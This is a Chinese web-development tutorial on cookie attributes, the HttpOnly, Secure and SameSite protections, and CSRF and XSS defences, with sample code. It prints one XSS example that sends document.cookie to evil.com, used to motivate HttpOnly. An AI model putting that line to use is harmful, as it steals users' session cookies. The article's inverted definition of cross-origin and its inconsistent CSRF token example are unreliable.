文章

Cookie机制详解

深入探讨Cookie的属性、HttpOnly安全标识、SameSite跨站策略,以及与Storage的对比

Cookie机制详解

一句话概括

Cookie是浏览器提供的客户端存储机制,主要用于会话管理、个性化和追踪,具有精细的访问控制和安全属性配置能力。

背景

HTTP协议是无状态的,服务器无法区分多个请求是否来自同一个浏览器。Cookie的诞生就是为了解决这个问题,通过在客户端存储少量数据,让服务器能够识别用户会话。

随着Web安全威胁的增加,Cookie机制也不断演进,增加了HttpOnly、Secure、SameSite等安全属性,使其成为前端安全体系的重要组成部分。

概念与定义

Cookie是什么

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据(通常不超过4KB),浏览器会在下次向同一服务器发起请求时自动携带这些数据。

Cookie的工作流程

  1. 服务器设置Cookie:通过响应头 Set-Cookie 设置
  2. 浏览器存储Cookie:按照域名、路径等规则存储
  3. 浏览器发送Cookie:后续请求通过请求头 Cookie 自动携带

查看Cookie的方式

1
2
3
4
5
6
7
8
// 读取Cookie(只能读取非HttpOnly的Cookie)
console.log(document.cookie);

// 设置Cookie
document.cookie = "username=John; path=/; max-age=3600";

// 删除Cookie(设置过期时间)
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";

核心知识点拆解

1. Cookie的核心属性

基础属性

属性说明示例
name=valueCookie的名称和值username=John
domain可以访问该Cookie的域名domain=.example.com
path可以访问该Cookie的路径path=/admin
expiresCookie的过期时间(GMT格式)expires=Wed, 21 Oct 2026 07:28:00 GMT
max-ageCookie的有效期(秒)max-age=3600(优先级高于expires)
secure只在HTTPS协议中传输secure
httponly禁止JavaScript访问httponly
samesite防止CSRF攻击samesite=strict

示例:设置完整的Cookie

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2026 07:28:00 GMT; Secure; HttpOnly; SameSite=None; Domain=.example.com; Path=/

2. Domain属性的深度理解

Domain的匹配规则

  • 不设置Domain:默认为当前域名(不包括子域名)
  • 设置Domain:可以访问的子域名
1
2
3
4
5
6
7
8
// 当前页面:www.example.com

// Domain不设置:Cookie只在www.example.com下可用
Set-Cookie: name=value

// Domain=.example.com:Cookie在*.example.com下都可用
Set-Cookie: name=value; Domain=.example.com
// 可在api.example.com、admin.example.com等子域名访问

跨域与跨站的区别

  • 跨域(Cross-Origin):协议 + 域名 + 端口 完全相同
  • 跨站(Cross-Site):eTLD+1(有效顶级域名+一级域名)不同
1
2
3
4
5
https://www.example.com:8080
↓ 跨域判断
协议: https
域名: www.example.com
端口: 8080

3. Path属性的匹配规则

Path指定了可以访问Cookie的路径前缀:

1
2
3
4
5
6
7
8
9
10
// 当前页面:https://example.com/admin/users

Set-Cookie: name=value; Path=/admin
// ✅ 可在 /admin、/admin/users、/admin/settings 访问

Set-Cookie: name=value; Path=/
// ✅ 可在全站所有路径访问

Set-Cookie: name=value; Path=/admin/users
// ✅ 只可在 /admin/users 及子路径访问

4. Expires与Max-Age的优先级

  • Expires:绝对时间(GMT格式),受客户端时间影响
  • Max-Age:相对时间(秒),不受客户端时间影响

优先级:Max-Age > Expires

1
2
3
4
5
6
7
8
// 方式1:设置过期时间(1小时后)
Set-Cookie: name=value; Expires=Wed, 21 Oct 2026 08:28:00 GMT

// 方式2:设置有效时长(3600秒 = 1小时)
Set-Cookie: name=value; Max-Age=3600

// 同时设置时,Max-Age优先
Set-Cookie: name=value; Expires=Wed, 21 Oct 2026 08:28:00 GMT; Max-Age=3600

5. HttpOnly属性的安全意义

什么是HttpOnly

HttpOnly是一个安全属性,设置了HttpOnly的Cookie无法通过JavaScript的 document.cookie 访问。

防御XSS攻击

1
2
3
4
5
// 服务器端设置
Set-Cookie: sessionId=abc123; HttpOnly; Secure

// 客户端尝试读取(失败)
console.log(document.cookie); // 输出: ""(空字符串)

XSS攻击场景

1
2
3
4
// 恶意脚本尝试窃取Cookie
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

如果Cookie设置了HttpOnly

  • JavaScript无法读取Cookie
  • 但浏览器发送请求时仍会自动携带
  • 有效防止XSS攻击窃取敏感Cookie

6. Secure属性的理解

Secure属性要求Cookie只在HTTPS协议中传输:

1
2
3
4
5
# ✅ 安全:只在HTTPS下传输
Set-Cookie: sessionId=abc123; Secure

# ❌ 不安全:HTTP下也可能传输
Set-Cookie: sessionId=abc123

注意

  • Secure不加密Cookie内容,只保证传输通道安全
  • 本地仍可通过开发者工具查看Cookie

7. SameSite属性的CSRF防御

SameSite属性用于控制Cookie在跨站请求中是否发送,是防御CSRF攻击的重要手段。

SameSite的三个值

说明示例场景
Strict完全禁止第三方Cookie高安全要求(银行网站)
Lax允许安全的第三方GET请求(默认)大多数场景
None允许所有第三方Cookie(必须同时设置Secure)跨站请求(iframe、AJAX)

SameSite=Strict

1
Set-Cookie: sessionId=abc123; SameSite=Strict
  • 完全禁止第三方Cookie
  • 从其他网站跳转过来时,不会携带Cookie
  • 缺点:用户体验可能受影响(如从邮件链接打开,需要重新登录)

SameSite=Lax(默认值)

1
Set-Cookie: sessionId=abc123; SameSite=Lax
  • 允许安全的第三方GET请求
  • 以下情况会携带Cookie:
    • 用户点击链接(<a href="...">
    • 预加载(rel="prerender"
    • GET表单提交(<form method="GET">
  • 不会携带Cookie的情况
    • AJAX请求(fetchXMLHttpRequest
    • POST表单提交
    • iframe加载

SameSite=None(必须配合Secure)

1
Set-Cookie: sessionId=abc123; SameSite=None; Secure
  • 允许所有第三方Cookie
  • 适用于需要跨站请求的场景(如iframe嵌入、跨域AJAX)
  • 必须同时设置Secure属性

8. Cookie与Storage的对比

特性CookielocalStoragesessionStorageIndexedDB
容量4KB5-10MB5-10MB无限(用户授权)
自动发送✅ 每次HTTP请求自动携带❌ 不会自动发送❌ 不会自动发送❌ 不会自动发送
API易用性❌ 难用(需手动解析)✅ 简单(key-value)✅ 简单(key-value)❌ 复杂(数据库)
过期时间✅ 可设置❌ 永久(除非代码删除)✅ 标签页关闭即消失✅ 可设置
访问限制✅ 可设置HttpOnly❌ JS可访问❌ JS可访问❌ JS可访问
跨域✅ 遵循同源策略✅ 遵循同源策略✅ 遵循同源策略✅ 遵循同源策略
使用场景会话管理、个性化持久化数据临时数据大量结构化数据

9. Cookie的自动发送机制

浏览器会在发送请求时,自动携带符合条件的Cookie:

1
2
3
4
# 请求示例
GET /api/user HTTP/1.1
Host: example.com
Cookie: sessionId=abc123; username=John

携带规则

  1. 域名匹配(Domain)
  2. 路径匹配(Path)
  3. 安全协议匹配(Secure)
  4. 跨站策略匹配(SameSite)

10. Cookie的安全最佳实践

1. 设置HttpOnly + Secure

1
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
1
2
# 设置较短的过期时间
Set-Cookie: sessionId=abc123; Max-Age=1800; HttpOnly; Secure

3. 实施Cookie前缀

1
2
3
4
5
# __Host- 前缀:加强安全性
Set-Cookie: __Host-sessionId=abc123; Path=/; Secure; HttpOnly

# __Secure- 前缀:只在HTTPS下设置
Set-Cookie: __Secure-id=abc123; Secure

4. 防止Session Fixation攻击

1
2
3
4
5
6
7
8
9
10
11
12
// 用户登录后,生成新的Session ID
app.post('/login', (req, res) => {
  // 验证用户名密码
  if (isValidUser(req.body)) {
    // 销毁旧Session
    req.session.destroy();
    
    // 生成新Session
    const newSessionId = generateSessionId();
    res.setHeader('Set-Cookie', `sessionId=${newSessionId}; HttpOnly; Secure`);
  }
});

实战案例

案例1:实现记住登录状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 后端:登录接口
app.post('/api/login', (req, res) => {
  const { username, password, rememberMe } = req.body;
  
  // 验证用户
  if (validateUser(username, password)) {
    const sessionId = generateSessionId();
    
    // 设置Cookie
    const cookieOptions = [
      `sessionId=${sessionId}`,
      'HttpOnly',
      'Secure',
      'SameSite=Lax',
      'Path=/'
    ];
    
    // 如果选择"记住我",设置较长时间
    if (rememberMe) {
      cookieOptions.push('Max-Age=2592000'); // 30天
    } else {
      cookieOptions.push('Max-Age=3600'); // 1小时
    }
    
    res.setHeader('Set-Cookie', cookieOptions.join('; '));
    res.json({ success: true });
  }
});

案例2:CSRF攻击防御完整方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 1. 后端:设置SameSite=Lax(基础防御)
Set-Cookie: csrfToken=abc123; SameSite=Lax; HttpOnly

// 2. 后端:生成CSRF Token
app.get('/api/csrf-token', (req, res) => {
  const token = generateCSRFToken();
  req.session.csrfToken = token;
  res.json({ csrfToken: token });
});

// 3. 前端:AJAX请求携带CSRF Token
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': localStorage.getItem('csrfToken')
  },
  body: JSON.stringify({ amount: 100, to: 'user123' })
});

// 4. 后端:验证CSRF Token
app.post('/api/transfer', (req, res) => {
  const csrfToken = req.headers['x-csrf-token'];
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }
  
  // 处理转账逻辑...
});

案例3:Cookie在不同场景下的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 场景1:跨子域名共享Cookie
// 在 api.example.com 设置
Set-Cookie: name=value; Domain=.example.com; Path=/

// 在 www.example.com 可以访问 ✅
// 在 admin.example.com 可以访问 ✅


// 场景2:iframe中的Cookie发送(SameSite=None)
// 父页面:https://other.com
// iframe:https://example.com

// example.com 设置的Cookie
Set-Cookie: trackingId=abc; SameSite=None; Secure

// 在iframe中请求时,会携带Cookie ✅


// 场景3:AJAX跨域请求携带Cookie
// 前端
fetch('https://api.example.com/data', {
  credentials: 'include' // 携带Cookie
});

// 后端需要设置
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.example.com (不能是 '*')

底层原理

1. Cookie的存储位置

不同浏览器的Cookie存储位置:

  • Chrome~/Library/Application Support/Google/Chrome/Default/Cookies(SQLite数据库)
  • Firefoxcookies.sqlite
  • Safari~/Library/Cookies/Cookies.binarycookies(二进制格式)

2. Cookie的发送时机

浏览器在发送请求时,会经过以下步骤确定是否携带Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
1. 解析请求URL
   ↓
2. 查找所有Cookie
   ↓
3. 过滤符合条件的Cookie:
   - Domain匹配?
   - Path匹配?
   - Secure协议匹配?
   - SameSite策略匹配?
   ↓
4. 将符合条件的Cookie拼接成字符串
   ↓
5. 设置请求头:Cookie: name1=value1; name2=value2

3. 浏览器对Cookie数量的限制

  • 每个域名:最多50个Cookie(不同浏览器可能不同)
  • 每个Cookie大小:最多4KB
  • 每个域名总大小:最多约4KB × 50 = 200KB

4. Cookie的性能影响

Cookie会在每次HTTP请求中自动携带,过多或过大的Cookie会影响性能:

1
2
3
4
5
6
# 不好的做法:存储大量数据在Cookie中
Set-Cookie: userProfile={大量JSON数据...}; ...

# 每次请求都会携带这个Cookie,浪费带宽
GET /api/data HTTP/1.1
Cookie: userProfile={大量JSON数据...}; ...

优化建议

  • 只将必要的数据放在Cookie中(如Session ID)
  • 其他数据放在localStorage或IndexedDB中
  • 设置合理的Domain和Path,减少不必要的发送

高频面试题解析

1. Cookie和localStorage、sessionStorage有什么区别?

  • 容量:Cookie 4KB,localStorage/sessionStorage 5-10MB
  • 自动发送:Cookie每次HTTP请求自动携带,Storage不会
  • API:Cookie需手动解析字符串,Storage提供简单API
  • 过期时间:Cookie可设置,localStorage永久,sessionStorage会话级

2. 什么是HttpOnly?为什么重要?

  • HttpOnly是Cookie的安全属性,禁止JavaScript访问
  • 防止XSS攻击窃取Cookie
  • 即使页面被XSS攻击,恶意脚本也无法读取HttpOnly Cookie

3. SameSite属性有什么作用?有哪些值?

  • 防止CSRF攻击
  • Strict:完全禁止第三方Cookie
  • Lax:允许安全的第三方GET请求(默认)
  • None:允许所有第三方Cookie(需配合Secure)

4. Cookie的大小限制是多少?超过会怎样?

  • 每个Cookie最多4KB
  • 超过4KB,浏览器会拒绝设置或截断
  • 每个域名最多50个Cookie

5. 如何删除Cookie?

1
2
3
4
5
6
7
8
// 方法1:设置过期时间为过去
document.cookie = "name=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";

// 方法2:设置max-age为0
document.cookie = "name=; max-age=0; path=/;";

// 方法3:服务器端设置(推荐)
Set-Cookie: name=; Max-Age=0; Path=/

6. 什么是Cookie前缀?有什么作用?

  • __Host-:Cookie名以 __Host- 开头,加强安全性
    • 必须是Secure
    • 必须设置Path=/
    • 不能设置Domain
  • __Secure-:Cookie名以 __Secure- 开头
    • 必须是Secure

作用:防止Cookie被覆盖或篡改。

7. 如何解决Cookie跨域问题?

  • Cookie遵循同源策略,跨域请求默认不携带Cookie
  • 前端设置 credentials: 'include'
  • 后端设置 Access-Control-Allow-Credentials: true
  • 后端设置 Access-Control-Allow-Origin 为具体域名(不能是 *

总结与扩展

核心要点总结

  1. Cookie是HTTP无状态协议的补充,用于在客户端存储少量数据
  2. 安全属性至关重要:HttpOnly、Secure、SameSite是防御XSS和CSRF的基础
  3. Cookie有大小和数量限制,不适合存储大量数据
  4. Cookie会自动发送,需注意性能影响

最佳实践

1
2
3
4
5
// ✅ 好的做法
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax; Max-Age=3600; Path=/

// ❌ 不好的做法
Set-Cookie: sessionId=abc123

扩展阅读

  1. RFC 6265:HTTP State Management Mechanism(Cookie的官方规范)
  2. Chrome中的Cookie设置chrome://settings/content/cookies
  3. 浏览器的Cookie数据库结构:研究Chrome的SQLite数据库结构
  4. Cookie的替代品:JWT、OAuth 2.0等现代认证方案

相关技术

  • Web Storage API:localStorage、sessionStorage
  • IndexedDB:客户端数据库
  • JWT(JSON Web Token):无状态的认证方案
  • OAuth 2.0:授权框架

本文详细讲解了Cookie的机制、属性、安全策略和最佳实践。合理使用Cookie的安全属性,能有效提升Web应用的安全性。

本文由作者按照 CC BY 4.0 进行授权